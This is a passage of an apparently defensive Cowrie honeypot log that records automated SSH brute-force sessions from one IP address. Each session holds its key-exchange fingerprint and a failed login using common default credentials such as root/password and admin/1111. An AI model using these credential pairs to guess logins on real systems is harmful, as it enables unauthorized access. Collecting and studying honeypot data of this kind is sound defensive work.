0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:17.401169Z","src_ip":"192.109.200.237","session":"5dd66eda4082","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:17.664475Z","src_ip":"192.109.200.237","session":"5dd66eda4082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:18.748804Z","src_ip":"192.109.200.237","session":"5dd66eda4082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51906,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbffb2ef0142","protocol":"ssh","message":"New connection: 192.109.200.237:51906 (159.203.135.109:22) [session: cbffb2ef0142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:20.510767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:20.515636Z","src_ip":"192.109.200.237","session":"cbffb2ef0142","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:20.601218Z","src_ip":"192.109.200.237","session":"cbffb2ef0142","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:20.847664Z","src_ip":"192.109.200.237","session":"cbffb2ef0142","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:21.937547Z","src_ip":"192.109.200.237","session":"cbffb2ef0142","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51910,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef5ea08d5d5f","protocol":"ssh","message":"New connection: 192.109.200.237:51910 (159.203.135.109:22) [session: ef5ea08d5d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:23.683171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:23.691201Z","src_ip":"192.109.200.237","session":"ef5ea08d5d5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:23.775940Z","src_ip":"192.109.200.237","session":"ef5ea08d5d5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:24.028673Z","src_ip":"192.109.200.237","session":"ef5ea08d5d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:25.116617Z","src_ip":"192.109.200.237","session":"ef5ea08d5d5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51924,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba8b60436d5f","protocol":"ssh","message":"New connection: 192.109.200.237:51924 (159.203.135.109:22) [session: ba8b60436d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:26.808560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:26.813334Z","src_ip":"192.109.200.237","session":"ba8b60436d5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:26.895946Z","src_ip":"192.109.200.237","session":"ba8b60436d5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:27.144636Z","src_ip":"192.109.200.237","session":"ba8b60436d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:28.229574Z","src_ip":"192.109.200.237","session":"ba8b60436d5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51930,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fa2efc7ba0f","protocol":"ssh","message":"New connection: 192.109.200.237:51930 (159.203.135.109:22) [session: 4fa2efc7ba0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:30.027145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:30.079114Z","src_ip":"192.109.200.237","session":"4fa2efc7ba0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:30.111811Z","src_ip":"192.109.200.237","session":"4fa2efc7ba0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:30.431777Z","src_ip":"192.109.200.237","session":"4fa2efc7ba0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:31.516881Z","src_ip":"192.109.200.237","session":"4fa2efc7ba0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45148,"dst_ip":"159.203.135.109","dst_port":22,"session":"27ea07f8b2b4","protocol":"ssh","message":"New connection: 192.109.200.237:45148 (159.203.135.109:22) [session: 27ea07f8b2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:33.288869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:33.292980Z","src_ip":"192.109.200.237","session":"27ea07f8b2b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:33.374715Z","src_ip":"192.109.200.237","session":"27ea07f8b2b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:33.624038Z","src_ip":"192.109.200.237","session":"27ea07f8b2b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:34.707285Z","src_ip":"192.109.200.237","session":"27ea07f8b2b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45158,"dst_ip":"159.203.135.109","dst_port":22,"session":"61e5c555f8aa","protocol":"ssh","message":"New connection: 192.109.200.237:45158 (159.203.135.109:22) [session: 61e5c555f8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:36.441337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:36.445178Z","src_ip":"192.109.200.237","session":"61e5c555f8aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:36.527360Z","src_ip":"192.109.200.237","session":"61e5c555f8aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:36.771514Z","src_ip":"192.109.200.237","session":"61e5c555f8aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:37.855746Z","src_ip":"192.109.200.237","session":"61e5c555f8aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45160,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca20a87256f4","protocol":"ssh","message":"New connection: 192.109.200.237:45160 (159.203.135.109:22) [session: ca20a87256f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:39.587504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:39.592107Z","src_ip":"192.109.200.237","session":"ca20a87256f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:39.673779Z","src_ip":"192.109.200.237","session":"ca20a87256f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:40.053576Z","src_ip":"192.109.200.237","session":"ca20a87256f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:41.138455Z","src_ip":"192.109.200.237","session":"ca20a87256f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43522,"dst_ip":"159.203.135.109","dst_port":22,"session":"bccefc0316c6","protocol":"ssh","message":"New connection: 192.109.200.237:43522 (159.203.135.109:22) [session: bccefc0316c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:42.917863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:42.922570Z","src_ip":"192.109.200.237","session":"bccefc0316c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:43.004742Z","src_ip":"192.109.200.237","session":"bccefc0316c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:43.248336Z","src_ip":"192.109.200.237","session":"bccefc0316c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:44.332638Z","src_ip":"192.109.200.237","session":"bccefc0316c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43536,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d82fbd0f9ff","protocol":"ssh","message":"New connection: 192.109.200.237:43536 (159.203.135.109:22) [session: 4d82fbd0f9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:46.218308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:17:46.222975Z","src_ip":"192.109.200.237","session":"4d82fbd0f9ff","protocol":"ssh"}
